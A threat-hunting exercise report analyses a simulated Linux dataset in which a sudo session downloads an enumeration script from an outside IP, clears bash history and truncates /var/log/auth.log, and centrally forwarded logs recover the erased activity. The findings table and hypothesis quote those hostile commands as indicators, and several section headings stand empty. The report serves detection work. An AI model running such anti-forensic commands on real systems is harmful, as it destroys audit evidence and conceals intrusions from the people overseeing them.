← All Threat Hunting ReportsThreat Hunting Exercise

Threat Hunting Exercise: Analyzing Linux Bash History Clearing & Auth Log Tampering Dataset

This hunt uses a simulated Linux auditd/syslog dataset (linux_history_clear_2022-08-17T031500.json) capturing T1070.003: Indicator Removal (Clear Command History) and T1070.002: Clear Linux or Mac System Logs, where an attacker with root access clears bash history and truncates/deletes authentication logs to obscure the commands and login events associated with an intrusion.

Step 1: Hypothesis Formation

Hypothesis: A root or sudo-elevated session executes commands to clear or disable shell history (history -c, unset HISTFILE, rm ~/.bash_history) and separately truncates or deletes /var/log/auth.log or /var/log/secure, within the same session as suspicious prior activity. Indicators:

Null Hypothesis: A legitimate logrotate cron job or an administrator's routine log-cleanup script ran on schedule. Invalidate by checking /etc/logrotate.d/ configuration and cron schedule against the observed timestamp, and confirming logrotate's expected renaming (not deletion/truncation) behavior.

Rationale: Anti-forensic log and history clearing is a near-universal step in hands-on-keyboard Linux intrusions; because centralized log forwarding often captures events before local deletion, correlating a local-log gap against the still-intact SIEM copy is one of the highest-confidence ways to both detect the tampering and recover the "erased" evidence.

Step 2: Data Sources and Scope

Step 3: Key Findings

Parsed events (5 shown) confirm a sudo session cleared bash history and truncated the local auth log immediately after privilege escalation, while the centrally-forwarded log copy preserved the erased events.

Timestamp (UTC)HostEventDetailIOC/Why Suspicious?
2022-08-17 03:15:20lnx-db-node07auditd EXECVEsudo su - by svc-monitor, followed by wget hxxp://185.220.101.33/lin_enum.shPrecursor IOC: privilege escalation and tool download immediately preceding the anti-forensic actions - establishes motive for the subsequent cleanup.
2022-08-17 03:18:40lnx-db-node07auditd EXECVEhistory -c && export HISTFILE=/dev/nullHistory-Clearing IOC: explicit, deliberate disabling of shell history logging mid-session - not a startup-profile default.
2022-08-17 03:18:55lnx-db-node07auditd EXECVEtruncate -s 0 /var/log/auth.logLog-Tampering IOC: direct truncation of the authentication log, distinct from logrotate's rename-and-recreate behavior.
2022-08-17 03:19:00lnx-db-node07(FIM alert)AIDE reports inode change and 0-byte size for /var/log/auth.log outside the scheduled logrotate window (02:00 daily)Confirms the truncation was manual, not the routine rotation job.
2022-08-17 03:15:00 - 03:19:00lnx-db-node07 (forwarded copy)Central SIEM auth indexFull session preserved: sudo escalation, wget download, and the clearing commands themselves, all timestamped and intactRecovery IOC: because rsyslog forwards events in near-real-time, the "erased" local evidence survives centrally - confirming both the tampering and reconstructing the full attacker session.

Validation:

Step 4: Recommendations & Next Steps

Hypothesis confirmed - a compromised sudo session cleared bash history and truncated the local authentication log immediately after downloading enumeration tooling, but the centrally-forwarded log copy preserved the full attacker session!